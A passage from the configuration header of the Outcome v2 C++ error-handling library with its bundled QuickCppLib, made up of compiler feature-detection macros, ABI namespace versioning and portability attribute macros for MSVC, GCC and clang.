http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_V2_CONFIG_HPP
#define OUTCOME_V2_CONFIG_HPP
/*! AWAITING HUGO JSON CONVERSION TOOL */
#define OUTCOME_VERSION_MAJOR 2
/*! AWAITING HUGO JSON CONVERSION TOOL */
#define OUTCOME_VERSION_MINOR 0
/*! AWAITING HUGO JSON CONVERSION TOOL */
#define OUTCOME_VERSION_PATCH 0
/*! AWAITING HUGO JSON CONVERSION TOOL */
#define OUTCOME_VERSION_REVISION 0 // Revision version for cmake and DLL version stamping
/*! AWAITING HUGO JSON CONVERSION TOOL */
#ifndef OUTCOME_DISABLE_ABI_PERMUTATION
#define OUTCOME_UNSTABLE_VERSION
#endif
// Pull in detection of __MINGW64_VERSION_MAJOR
#if defined(__MINGW32__) && !0
#include <_mingw.h>
#endif
/* Configure QuickCppLib
(C) 2016-2017 Niall Douglas <http://www.nedproductions.biz/> (8 commits)
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef QUICKCPPLIB_CONFIG_HPP
#define QUICKCPPLIB_CONFIG_HPP
/* Provides SG-10 feature checking for all C++ compilers
(C) 2014-2017 Niall Douglas <http://www.nedproductions.biz/> (13 commits)
File Created: Nov 2014
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef QUICKCPPLIB_HAS_FEATURE_H
#define QUICKCPPLIB_HAS_FEATURE_H
#if __cplusplus >= 201103
// Some of these macros ended up getting removed by ISO standards,
// they are prefixed with ////
////#if !defined(__cpp_alignas)
////#define __cpp_alignas 190000
////#endif
////#if !defined(__cpp_default_function_template_args)
////#define __cpp_default_function_template_args 190000
////#endif
////#if !defined(__cpp_defaulted_functions)
////#define __cpp_defaulted_functions 190000
////#endif
////#if !defined(__cpp_deleted_functions)
////#define __cpp_deleted_functions 190000
////#endif
////#if !defined(__cpp_generalized_initializers)
////#define __cpp_generalized_initializers 190000
////#endif
////#if !defined(__cpp_implicit_moves)
////#define __cpp_implicit_moves 190000
////#endif
////#if !defined(__cpp_inline_namespaces)
////#define __cpp_inline_namespaces 190000
////#endif
////#if !defined(__cpp_local_type_template_args)
////#define __cpp_local_type_template_args 190000
////#endif
////#if !defined(__cpp_noexcept)
////#define __cpp_noexcept 190000
////#endif
////#if !defined(__cpp_nonstatic_member_init)
////#define __cpp_nonstatic_member_init 190000
////#endif
////#if !defined(__cpp_nullptr)
////#define __cpp_nullptr 190000
////#endif
////#if !defined(__cpp_override_control)
////#define __cpp_override_control 190000
////#endif
////#if !defined(__cpp_thread_local)
////#define __cpp_thread_local 190000
////#endif
////#if !defined(__cpp_auto_type)
////#define __cpp_auto_type 190000
////#endif
////#if !defined(__cpp_strong_enums)
////#define __cpp_strong_enums 190000
////#endif
////#if !defined(__cpp_trailing_return)
////#define __cpp_trailing_return 190000
////#endif
////#if !defined(__cpp_unrestricted_unions)
////#define __cpp_unrestricted_unions 190000
////#endif
#if !defined(__cpp_alias_templates)
#define __cpp_alias_templates 190000
#endif
#if !defined(__cpp_attributes)
#define __cpp_attributes 190000
#endif
#if !defined(__cpp_constexpr)
#if __cplusplus >= 201402
#define __cpp_constexpr 201304 // relaxed constexpr
#else
#define __cpp_constexpr 190000
#endif
#endif
#if !defined(__cpp_decltype)
#define __cpp_decltype 190000
#endif
#if !defined(__cpp_delegating_constructors)
#define __cpp_delegating_constructors 190000
#endif
#if !defined(__cpp_explicit_conversion) //// renamed from __cpp_explicit_conversions
#define __cpp_explicit_conversion 190000
#endif
#if !defined(__cpp_inheriting_constructors)
#define __cpp_inheriting_constructors 190000
#endif
#if !defined(__cpp_initializer_lists) //// NEW
#define __cpp_initializer_lists 190000
#endif
#if !defined(__cpp_lambdas)
#define __cpp_lambdas 190000
#endif
#if !defined(__cpp_nsdmi)
#define __cpp_nsdmi 190000 //// NEW
#endif
#if !defined(__cpp_range_based_for) //// renamed from __cpp_range_for
#define __cpp_range_based_for 190000
#endif
#if !defined(__cpp_raw_strings)
#define __cpp_raw_strings 190000
#endif
#if !defined(__cpp_ref_qualifiers) //// renamed from __cpp_reference_qualified_functions
#define __cpp_ref_qualifiers 190000
#endif
#if !defined(__cpp_rvalue_references)
#define __cpp_rvalue_references 190000
#endif
#if !defined(__cpp_static_assert)
#define __cpp_static_assert 190000
#endif
#if !defined(__cpp_unicode_characters) //// NEW
#define __cpp_unicode_characters 190000
#endif
#if !defined(__cpp_unicode_literals)
#define __cpp_unicode_literals 190000
#endif
#if !defined(__cpp_user_defined_literals)
#define __cpp_user_defined_literals 190000
#endif
#if !defined(__cpp_variadic_templates)
#define __cpp_variadic_templates 190000
#endif
#endif
#if __cplusplus >= 201402
// Some of these macros ended up getting removed by ISO standards,
// they are prefixed with ////
////#if !defined(__cpp_contextual_conversions)
////#define __cpp_contextual_conversions 190000
////#endif
////#if !defined(__cpp_digit_separators)
////#define __cpp_digit_separators 190000
////#endif
////#if !defined(__cpp_relaxed_constexpr)
////#define __cpp_relaxed_constexpr 190000
////#endif
////#if !defined(__cpp_runtime_arrays)
////# define __cpp_runtime_arrays 190000
////#endif
#if !defined(__cpp_aggregate_nsdmi)
#define __cpp_aggregate_nsdmi 190000
#endif
#if !defined(__cpp_binary_literals)
#define __cpp_binary_literals 190000
#endif
#if !defined(__cpp_decltype_auto)
#define __cpp_decltype_auto 190000
#endif
#if !defined(__cpp_generic_lambdas)
#define __cpp_generic_lambdas 190000
#endif
#if !defined(__cpp_init_captures)
#define __cpp_init_captures 190000
#endif
#if !defined(__cpp_return_type_deduction)
#define __cpp_return_type_deduction 190000
#endif
#if !defined(__cpp_sized_deallocation)
#define __cpp_sized_deallocation 190000
#endif
#if !defined(__cpp_variable_templates)
#define __cpp_variable_templates 190000
#endif
#endif
// VS2010: _MSC_VER=1600
// VS2012: _MSC_VER=1700
// VS2013: _MSC_VER=1800
// VS2015: _MSC_VER=1900
// VS2017: _MSC_VER=1910
#if defined(_MSC_VER) && !defined(__clang__)
#if !defined(__cpp_exceptions) && defined(_CPPUNWIND)
#define __cpp_exceptions 190000
#endif
#if !defined(__cpp_rtti) && defined(_CPPRTTI)
#define __cpp_rtti 190000
#endif
// C++ 11
#if !defined(__cpp_alias_templates) && _MSC_VER >= 1800
#define __cpp_alias_templates 190000
#endif
#if !defined(__cpp_attributes)
#define __cpp_attributes 190000
#endif
#if !defined(__cpp_constexpr) && _MSC_FULL_VER >= 190023506 /* VS2015 */
#define __cpp_constexpr 190000
#endif
#if !defined(__cpp_decltype) && _MSC_VER >= 1600
#define __cpp_decltype 190000
#endif
#if !defined(__cpp_delegating_constructors) && _MSC_VER >= 1800
#define __cpp_delegating_constructors 190000
#endif
#if !defined(__cpp_explicit_conversion) && _MSC_VER >= 1800
#define __cpp_explicit_conversion 190000
#endif
#if !defined(__cpp_inheriting_constructors) && _MSC_VER >= 1900
#define __cpp_inheriting_constructors 190000
#endif
#if !defined(__cpp_initializer_lists) && _MSC_VER >= 1900
#define __cpp_initializer_lists 190000
#endif
#if !defined(__cpp_lambdas) && _MSC_VER >= 1600
#define __cpp_lambdas 190000
#endif
#if !defined(__cpp_nsdmi) && _MSC_VER >= 1900
#define __cpp_nsdmi 190000
#endif
#if !defined(__cpp_range_based_for) && _MSC_VER >= 1700
#define __cpp_range_based_for 190000
#endif
#if !defined(__cpp_raw_strings) && _MSC_VER >= 1800
#define __cpp_raw_strings 190000
#endif
#if !defined(__cpp_ref_qualifiers) && _MSC_VER >= 1900
#define __cpp_ref_qualifiers 190000
#endif
#if !defined(__cpp_rvalue_references) && _MSC_VER >= 1600
#define __cpp_rvalue_references 190000
#endif
#if !defined(__cpp_static_assert) && _MSC_VER >= 1600
#define __cpp_static_assert 190000
#endif
//#if !defined(__cpp_unicode_literals)
//# define __cpp_unicode_literals 190000
//#endif
#if !defined(__cpp_user_defined_literals) && _MSC_VER >= 1900
#define __cpp_user_defined_literals 190000
#endif
#if !defined(__cpp_variadic_templates) && _MSC_VER >= 1800
#define __cpp_variadic_templates 190000
#endif
// C++ 14
//#if !defined(__cpp_aggregate_nsdmi)
//#define __cpp_aggregate_nsdmi 190000
//#endif
#if !defined(__cpp_binary_literals) && _MSC_VER >= 1900
#define __cpp_binary_literals 190000
#endif
#if !defined(__cpp_decltype_auto) && _MSC_VER >= 1900
#define __cpp_decltype_auto 190000
#endif
#if !defined(__cpp_generic_lambdas) && _MSC_VER >= 1900
#define __cpp_generic_lambdas 190000
#endif
#if !defined(__cpp_init_captures) && _MSC_VER >= 1900
#define __cpp_init_captures 190000
#endif
#if !defined(__cpp_return_type_deduction) && _MSC_VER >= 1900
#define __cpp_return_type_deduction 190000
#endif
#if !defined(__cpp_sized_deallocation) && _MSC_VER >= 1900
#define __cpp_sized_deallocation 190000
#endif
#if !defined(__cpp_variable_templates) && _MSC_FULL_VER >= 190023506
#define __cpp_variable_templates 190000
#endif
#endif // _MSC_VER
// Much to my surprise, GCC's support of these is actually incomplete, so fill in the gaps
#if (defined(__GNUC__) && !defined(__clang__))
#define QUICKCPPLIB_GCC (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)
#if !defined(__cpp_exceptions) && defined(__EXCEPTIONS)
#define __cpp_exceptions 190000
#endif
#if !defined(__cpp_rtti) && defined(__GXX_RTTI)
#define __cpp_rtti 190000
#endif
// C++ 11
#if defined(__GXX_EXPERIMENTAL_CXX0X__)
#if !defined(__cpp_alias_templates) && (QUICKCPPLIB_GCC >= 40700)
#define __cpp_alias_templates 190000
#endif
#if !defined(__cpp_attributes) && (QUICKCPPLIB_GCC >= 40800)
#define __cpp_attributes 190000
#endif
#if !defined(__cpp_constexpr) && (QUICKCPPLIB_GCC >= 40600)
#define __cpp_constexpr 190000
#endif
#if !defined(__cpp_decltype) && (QUICKCPPLIB_GCC >= 40300)
#define __cpp_decltype 190000
#endif
#if !defined(__cpp_delegating_constructors) && (QUICKCPPLIB_GCC >= 40700)
#define __cpp_delegating_constructors 190000
#endif
#if !defined(__cpp_explicit_conversion) && (QUICKCPPLIB_GCC >= 40500)
#define __cpp_explicit_conversion 190000
#endif
#if !defined(__cpp_inheriting_constructors) && (QUICKCPPLIB_GCC >= 40800)
#define __cpp_inheriting_constructors 190000
#endif
#if !defined(__cpp_initializer_lists) && (QUICKCPPLIB_GCC >= 40800)
#define __cpp_initializer_lists 190000
#endif
#if !defined(__cpp_lambdas) && (QUICKCPPLIB_GCC >= 40500)
#define __cpp_lambdas 190000
#endif
#if !defined(__cpp_nsdmi) && (QUICKCPPLIB_GCC >= 40700)
#define __cpp_nsdmi 190000
#endif
#if !defined(__cpp_range_based_for) && (QUICKCPPLIB_GCC >= 40600)
#define __cpp_range_based_for 190000
#endif
#if !defined(__cpp_raw_strings) && (QUICKCPPLIB_GCC >= 40500)
#define __cpp_raw_strings 190000
#endif
#if !defined(__cpp_ref_qualifiers) && (QUICKCPPLIB_GCC >= 40801)
#define __cpp_ref_qualifiers 190000
#endif
// __cpp_rvalue_reference deviation
#if !defined(__cpp_rvalue_references) && defined(__cpp_rvalue_reference)
#define __cpp_rvalue_references __cpp_rvalue_reference
#endif
#if !defined(__cpp_static_assert) && (QUICKCPPLIB_GCC >= 40300)
#define __cpp_static_assert 190000
#endif
#if !defined(__cpp_unicode_characters) && (QUICKCPPLIB_GCC >= 40500)
#define __cpp_unicode_characters 190000
#endif
#if !defined(__cpp_unicode_literals) && (QUICKCPPLIB_GCC >= 40500)
#define __cpp_unicode_literals 190000
#endif
#if !defined(__cpp_user_defined_literals) && (QUICKCPPLIB_GCC >= 40700)
#define __cpp_user_defined_literals 190000
#endif
#if !defined(__cpp_variadic_templates) && (QUICKCPPLIB_GCC >= 40400)
#define __cpp_variadic_templates 190000
#endif
// C++ 14
// Every C++ 14 supporting GCC does the right thing here
#endif // __GXX_EXPERIMENTAL_CXX0X__
#endif // GCC
// clang deviates in some places from the present SG-10 draft, plus older
// clangs are quite incomplete
#if defined(__clang__)
#define QUICKCPPLIB_CLANG (__clang_major__ * 10000 + __clang_minor__ * 100 + __clang_patchlevel__)
#if !defined(__cpp_exceptions) && (defined(__EXCEPTIONS) || defined(_CPPUNWIND))
#define __cpp_exceptions 190000
#endif
#if !defined(__cpp_rtti) && (defined(__GXX_RTTI) || defined(_CPPRTTI))
#define __cpp_rtti 190000
#endif
// C++ 11
#if defined(__GXX_EXPERIMENTAL_CXX0X__)
#if !defined(__cpp_alias_templates) && (QUICKCPPLIB_CLANG >= 30000)
#define __cpp_alias_templates 190000
#endif
#if !defined(__cpp_attributes) && (QUICKCPPLIB_CLANG >= 30300)
#define __cpp_attributes 190000
#endif
#if !defined(__cpp_constexpr) && (QUICKCPPLIB_CLANG >= 30100)
#define __cpp_constexpr 190000
#endif
#if !defined(__cpp_decltype) && (QUICKCPPLIB_CLANG >= 20900)
#define __cpp_decltype 190000
#endif
#if !defined(__cpp_delegating_constructors) && (QUICKCPPLIB_CLANG >= 30000)
#define __cpp_delegating_constructors 190000
#endif
#if !defined(__cpp_explicit_conversion) && (QUICKCPPLIB_CLANG >= 30000)
#define __cpp_explicit_conversion 190000
#endif
#if !defined(__cpp_inheriting_constructors) && (QUICKCPPLIB_CLANG >= 30300)
#define __cpp_inheriting_constructors 190000
#endif
#if !defined(__cpp_initializer_lists) && (QUICKCPPLIB_CLANG >= 30100)
#define __cpp_initializer_lists 190000
#endif
#if !defined(__cpp_lambdas) && (QUICKCPPLIB_CLANG >= 30100)
#define __cpp_lambdas 190000
#endif
#if !defined(__cpp_nsdmi) && (QUICKCPPLIB_CLANG >= 30000)
#define __cpp_nsdmi 190000
#endif
#if !defined(__cpp_range_based_for) && (QUICKCPPLIB_CLANG >= 30000)
#define __cpp_range_based_for 190000
#endif
// __cpp_raw_string_literals deviation
#if !defined(__cpp_raw_strings) && defined(__cpp_raw_string_literals)
#define __cpp_raw_strings __cpp_raw_string_literals
#endif
#if !defined(__cpp_raw_strings) && (QUICKCPPLIB_CLANG >= 30000)
#define __cpp_raw_strings 190000
#endif
#if !defined(__cpp_ref_qualifiers) && (QUICKCPPLIB_CLANG >= 20900)
#define __cpp_ref_qualifiers 190000
#endif
// __cpp_rvalue_reference deviation
#if !defined(__cpp_rvalue_references) && defined(__cpp_rvalue_reference)
#define __cpp_rvalue_references __cpp_rvalue_reference
#endif
#if !defined(__cpp_rvalue_references) && (QUICKCPPLIB_CLANG >= 20900)
#define __cpp_rvalue_references 190000
#endif
#if !defined(__cpp_static_assert) && (QUICKCPPLIB_CLANG >= 20900)
#define __cpp_static_assert 190000
#endif
#if !defined(__cpp_unicode_characters) && (QUICKCPPLIB_CLANG >= 30000)
#define __cpp_unicode_characters 190000
#endif
#if !defined(__cpp_unicode_literals) && (QUICKCPPLIB_CLANG >= 30000)
#define __cpp_unicode_literals 190000
#endif
// __cpp_user_literals deviation
#if !defined(__cpp_user_defined_literals) && defined(__cpp_user_literals)
#define __cpp_user_defined_literals __cpp_user_literals
#endif
#if !defined(__cpp_user_defined_literals) && (QUICKCPPLIB_CLANG >= 30100)
#define __cpp_user_defined_literals 190000
#endif
#if !defined(__cpp_variadic_templates) && (QUICKCPPLIB_CLANG >= 20900)
#define __cpp_variadic_templates 190000
#endif
// C++ 14
// Every C++ 14 supporting clang does the right thing here
#endif // __GXX_EXPERIMENTAL_CXX0X__
#endif // clang
#endif
#ifndef QUICKCPPLIB_DISABLE_ABI_PERMUTATION
// Note the second line of this file must ALWAYS be the git SHA, third line ALWAYS the git SHA update time
#define QUICKCPPLIB_PREVIOUS_COMMIT_REF 01e18d3e6549400646f41b79de318994eac95f25
#define QUICKCPPLIB_PREVIOUS_COMMIT_DATE "2019-02-11 10:00:33 +00:00"
#define QUICKCPPLIB_PREVIOUS_COMMIT_UNIQUE 01e18d3e
#endif
#define QUICKCPPLIB_VERSION_GLUE2(a, b) a##b
#define QUICKCPPLIB_VERSION_GLUE(a, b) QUICKCPPLIB_VERSION_GLUE2(a, b)
// clang-format off
#if defined(QUICKCPPLIB_DISABLE_ABI_PERMUTATION)
#define QUICKCPPLIB_NAMESPACE quickcpplib
#define QUICKCPPLIB_NAMESPACE_BEGIN namespace quickcpplib {
#define QUICKCPPLIB_NAMESPACE_END }
#else
#define QUICKCPPLIB_NAMESPACE quickcpplib::QUICKCPPLIB_VERSION_GLUE(_, QUICKCPPLIB_PREVIOUS_COMMIT_UNIQUE)
#define QUICKCPPLIB_NAMESPACE_BEGIN namespace quickcpplib { namespace QUICKCPPLIB_VERSION_GLUE(_, QUICKCPPLIB_PREVIOUS_COMMIT_UNIQUE) {
#define QUICKCPPLIB_NAMESPACE_END } }
#endif
// clang-format on
#ifdef _MSC_VER
#define QUICKCPPLIB_BIND_MESSAGE_PRAGMA2(x) __pragma(message(x))
#define QUICKCPPLIB_BIND_MESSAGE_PRAGMA(x) QUICKCPPLIB_BIND_MESSAGE_PRAGMA2(x)
#define QUICKCPPLIB_BIND_MESSAGE_PREFIX(type) __FILE__ "(" QUICKCPPLIB_BIND_STRINGIZE2(__LINE__) "): " type ": "
#define QUICKCPPLIB_BIND_MESSAGE_(type, prefix, msg) QUICKCPPLIB_BIND_MESSAGE_PRAGMA(prefix msg)
#else
#define QUICKCPPLIB_BIND_MESSAGE_PRAGMA2(x) _Pragma(#x)
#define QUICKCPPLIB_BIND_MESSAGE_PRAGMA(type, x) QUICKCPPLIB_BIND_MESSAGE_PRAGMA2(type x)
#define QUICKCPPLIB_BIND_MESSAGE_(type, prefix, msg) QUICKCPPLIB_BIND_MESSAGE_PRAGMA(type, msg)
#endif
//! Have the compiler output a message
#define QUICKCPPLIB_MESSAGE(msg) QUICKCPPLIB_BIND_MESSAGE_(message, QUICKCPPLIB_BIND_MESSAGE_PREFIX("message"), msg)
//! Have the compiler output a note
#define QUICKCPPLIB_NOTE(msg) QUICKCPPLIB_BIND_MESSAGE_(message, QUICKCPPLIB_BIND_MESSAGE_PREFIX("note"), msg)
//! Have the compiler output a warning
#define QUICKCPPLIB_WARNING(msg) QUICKCPPLIB_BIND_MESSAGE_(GCC warning, QUICKCPPLIB_BIND_MESSAGE_PREFIX("warning"), msg)
//! Have the compiler output an error
#define QUICKCPPLIB_ERROR(msg) QUICKCPPLIB_BIND_MESSAGE_(GCC error, QUICKCPPLIB_BIND_MESSAGE_PREFIX("error"), msg)
#define QUICKCPPLIB_ANNOTATE_RWLOCK_CREATE(p)
#define QUICKCPPLIB_ANNOTATE_RWLOCK_DESTROY(p)
#define QUICKCPPLIB_ANNOTATE_RWLOCK_ACQUIRED(p, s)
#define QUICKCPPLIB_ANNOTATE_RWLOCK_RELEASED(p, s)
#define QUICKCPPLIB_ANNOTATE_IGNORE_READS_BEGIN()
#define QUICKCPPLIB_ANNOTATE_IGNORE_READS_END()
#define QUICKCPPLIB_ANNOTATE_IGNORE_WRITES_BEGIN()
#define QUICKCPPLIB_ANNOTATE_IGNORE_WRITES_END()
#define QUICKCPPLIB_DRD_IGNORE_VAR(x)
#define QUICKCPPLIB_DRD_STOP_IGNORING_VAR(x)
#define QUICKCPPLIB_RUNNING_ON_VALGRIND (0)
#ifndef QUICKCPPLIB_IN_THREAD_SANITIZER
#if defined(__has_feature)
#if __has_feature(thread_sanitizer)
#define QUICKCPPLIB_IN_THREAD_SANITIZER 1
#endif
#elif defined(__SANITIZE_ADDRESS__)
#define QUICKCPPLIB_IN_THREAD_SANITIZER 1
#endif
#endif
#ifndef QUICKCPPLIB_IN_THREAD_SANITIZER
#define QUICKCPPLIB_IN_THREAD_SANITIZER 0
#endif
#if QUICKCPPLIB_IN_THREAD_SANITIZER
#define QUICKCPPLIB_DISABLE_THREAD_SANITIZE __attribute__((no_sanitize_thread))
#else
#define QUICKCPPLIB_DISABLE_THREAD_SANITIZE
#endif
#ifndef QUICKCPPLIB_SMT_PAUSE
#if !defined(__clang__) && defined(_MSC_VER) && _MSC_VER >= 1310 && (defined(_M_IX86) || defined(_M_X64))
extern "C" void _mm_pause();
#pragma intrinsic(_mm_pause)
#define QUICKCPPLIB_SMT_PAUSE _mm_pause();
#elif !defined(__c2__) && defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))
#define QUICKCPPLIB_SMT_PAUSE __asm__ __volatile__("rep; nop" : : : "memory");
#endif
#endif
#ifndef QUICKCPPLIB_FORCEINLINE
#if defined(_MSC_VER)
#define QUICKCPPLIB_FORCEINLINE __forceinline
#elif defined(__GNUC__)
#define QUICKCPPLIB_FORCEINLINE __attribute__((always_inline))
#else
#define QUICKCPPLIB_FORCEINLINE
#endif
#endif
#ifndef QUICKCPPLIB_NOINLINE
#if defined(_MSC_VER)
#define QUICKCPPLIB_NOINLINE __declspec(noinline)
#elif defined(__GNUC__)
#define QUICKCPPLIB_NOINLINE __attribute__((noinline))
#else
#define QUICKCPPLIB_NOINLINE
#endif
#endif
#if !defined(QUICKCPPLIB_NORETURN)
#ifdef __cpp_attributes
#define QUICKCPPLIB_NORETURN [[noreturn]]
#elif defined(_MSC_VER)
#define QUICKCPPLIB_NORETURN __declspec(noreturn)
#elif defined(__GNUC__)
#define QUICKCPPLIB_NORETURN __attribute__((__noreturn__))
#else
#define QUICKCPPLIB_NORETURN
#endif
#endif
#ifndef QUICKCPPLIB_NODISCARD
#if 0 || (_HAS_CXX17 && _MSC_VER >= 1911 /* VS2017.3 */)
#define QUICKCPPLIB_NODISCARD [[nodiscard]]
#endif
#endif
#ifndef QUICKCPPLIB_NODISCARD
#ifdef __has_cpp_attribute
#if __has_cpp_attribute(nodiscard)
#define QUICKCPPLIB_NODISCARD [[nodiscard]]
#endif
#elif defined(__clang__)
#define QUICKCPPLIB_NODISCARD __attribute__((warn_unused_result))
#elif defined(_MSC_VER)
// _Must_inspect_result_ expands into this
#define QUICKCPPLIB_NODISCARD __declspec("SAL_name" "(" "\"_Must_inspect_result_\"" "," "\"\"" "," "\"2\"" ")") __declspec("SAL_begin") __declspec("SAL_post") __declspec("SAL_mustInspect") __declspec("SAL_post") __declspec("SAL_checkReturn") __declspec("SAL_end")
#endif
#endif
#ifndef QUICKCPPLIB_NODISCARD
#define QUICKCPPLIB_NODISCARD
#endif
#ifndef QUICKCPPLIB_SYMBOL_VISIBLE
#if defined(_MSC_VER)
#define QUICKCPPLIB_SYMBOL_VISIBLE
#elif defined(__GNUC__)
#define QUICKCPPLIB_SYMBOL_VISIBLE __attribute__((visibility("default")))
#else
#define QUICKCPPLIB_SYMBOL_VISIBLE
#endif
#endif
#ifndef QUICKCPPLIB_SYMBOL_EXPORT
#if defined(_MSC_VER)
#define QUICKCPPLIB_SYMBOL_EXPORT __declspec(dllexport)
#elif defined(__GNUC__)
#define QUICKCPPLIB_SYMBOL_EXPORT __attribute__((visibility("default")))
#else
#define QUICKCPPLIB_SYMBOL_EXPORT
#endif
#endif
#ifndef QUICKCPPLIB_SYMBOL_IMPORT
#if defined(_MSC_VER)
#define QUICKCPPLIB_SYMBOL_IMPORT __declspec(dllimport)
#elif defined(__GNUC__)
#define QUICKCPPLIB_SYMBOL_IMPORT
#else
#define QUICKCPPLIB_SYMBOL_IMPORT
#endif
#endif
#ifndef QUICKCPPLIB_THREAD_LOCAL
#if _MSC_VER >= 1800
#define QUICKCPPLIB_THREAD_LOCAL_IS_CXX11 1
#elif __cplusplus >= 201103
#if __GNUC__ >= 5 && !defined(__clang__)
#define QUICKCPPLIB_THREAD_LOCAL_IS_CXX11 1
#elif defined(__has_feature)
#if __has_feature(cxx_thread_local)
#define QUICKCPPLIB_THREAD_LOCAL_IS_CXX11 1
#endif
#endif
#endif
#ifdef QUICKCPPLIB_THREAD_LOCAL_IS_CXX11
#define QUICKCPPLIB_THREAD_LOCAL thread_local
#endif
#ifndef QUICKCPPLIB_THREAD_LOCAL
#if defined(_MSC_VER)
#define QUICKCPPLIB_THREAD_LOCAL __declspec(thread)
#elif defined(__GNUC__)
#define QUICKCPPLIB_THREAD_LOCAL __thread
#else
#error Unknown compiler, cannot set QUICKCPPLIB_THREAD_LOCAL
#endif
#endif
#endif
/* MSVC capable preprocessor macro overloading
(C) 2014-2017 Niall Douglas <http://www.nedproductions.biz/> (3 commits)
File Created: Aug 2014
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef QUICKCPPLIB_PREPROCESSOR_MACRO_OVERLOAD_H
#define QUICKCPPLIB_PREPROCESSOR_MACRO_OVERLOAD_H
#define QUICKCPPLIB_GLUE(x, y) x y
#define QUICKCPPLIB_RETURN_ARG_COUNT(_1_, _2_, _3_, _4_, _5_, _6_, _7_, _8_, count, ...) count
#define QUICKCPPLIB_EXPAND_ARGS(args) QUICKCPPLIB_RETURN_ARG_COUNT args
#define QUICKCPPLIB_COUNT_ARGS_MAX8(...) QUICKCPPLIB_EXPAND_ARGS((__VA_ARGS__, 8, 7, 6, 5, 4, 3, 2, 1, 0))
#define QUICKCPPLIB_OVERLOAD_MACRO2(name, count) name##count
#define QUICKCPPLIB_OVERLOAD_MACRO1(name, count) QUICKCPPLIB_OVERLOAD_MACRO2(name, count)
#define QUICKCPPLIB_OVERLOAD_MACRO(name, count) QUICKCPPLIB_OVERLOAD_MACRO1(name, count)
#define QUICKCPPLIB_CALL_OVERLOAD(name, ...) QUICKCPPLIB_GLUE(QUICKCPPLIB_OVERLOAD_MACRO(name, QUICKCPPLIB_COUNT_ARGS_MAX8(__VA_ARGS__)), (__VA_ARGS__))
#define QUICKCPPLIB_GLUE_(x, y) x y
#define QUICKCPPLIB_RETURN_ARG_COUNT_(_1_, _2_, _3_, _4_, _5_, _6_, _7_, _8_, count, ...) count
#define QUICKCPPLIB_EXPAND_ARGS_(args) QUICKCPPLIB_RETURN_ARG_COUNT_ args
#define QUICKCPPLIB_COUNT_ARGS_MAX8_(...) QUICKCPPLIB_EXPAND_ARGS_((__VA_ARGS__, 8, 7, 6, 5, 4, 3, 2, 1, 0))
#define QUICKCPPLIB_OVERLOAD_MACRO2_(name, count) name##count
#define QUICKCPPLIB_OVERLOAD_MACRO1_(name, count) QUICKCPPLIB_OVERLOAD_MACRO2_(name, count)
#define QUICKCPPLIB_OVERLOAD_MACRO_(name, count) QUICKCPPLIB_OVERLOAD_MACRO1_(name, count)
#define QUICKCPPLIB_CALL_OVERLOAD_(name, ...) QUICKCPPLIB_GLUE_(QUICKCPPLIB_OVERLOAD_MACRO_(name, QUICKCPPLIB_COUNT_ARGS_MAX8_(__VA_ARGS__)), (__VA_ARGS__))
#endif
#ifdef __cpp_concepts
#define QUICKCPPLIB_TREQUIRES_EXPAND8(a, b, c, d, e, f, g, h) a &&QUICKCPPLIB_TREQUIRES_EXPAND7(b, c, d, e, f, g, h)
#define QUICKCPPLIB_TREQUIRES_EXPAND7(a, b, c, d, e, f, g) a &&QUICKCPPLIB_TREQUIRES_EXPAND6(b, c, d, e, f, g)
#define QUICKCPPLIB_TREQUIRES_EXPAND6(a, b, c, d, e, f) a &&QUICKCPPLIB_TREQUIRES_EXPAND5(b, c, d, e, f)
#define QUICKCPPLIB_TREQUIRES_EXPAND5(a, b, c, d, e) a &&QUICKCPPLIB_TREQUIRES_EXPAND4(b, c, d, e)
#define QUICKCPPLIB_TREQUIRES_EXPAND4(a, b, c, d) a &&QUICKCPPLIB_TREQUIRES_EXPAND3(b, c, d)
#define QUICKCPPLIB_TREQUIRES_EXPAND3(a, b, c) a &&QUICKCPPLIB_TREQUIRES_EXPAND2(b, c)
#define QUICKCPPLIB_TREQUIRES_EXPAND2(a, b) a &&QUICKCPPLIB_TREQUIRES_EXPAND1(b)
#define QUICKCPPLIB_TREQUIRES_EXPAND1(a) a
//! Expands into a && b && c && ...
#define QUICKCPPLIB_TREQUIRES(...) requires QUICKCPPLIB_CALL_OVERLOAD(QUICKCPPLIB_TREQUIRES_EXPAND, __VA_ARGS__)
#define QUICKCPPLIB_TEMPLATE(...) template <__VA_ARGS__>
#define QUICKCPPLIB_TEXPR(...) requires { (__VA_ARGS__); }
#define QUICKCPPLIB_TPRED(...) (__VA_ARGS__)
#define QUICKCPPLIB_REQUIRES(...) requires __VA_ARGS__
#else
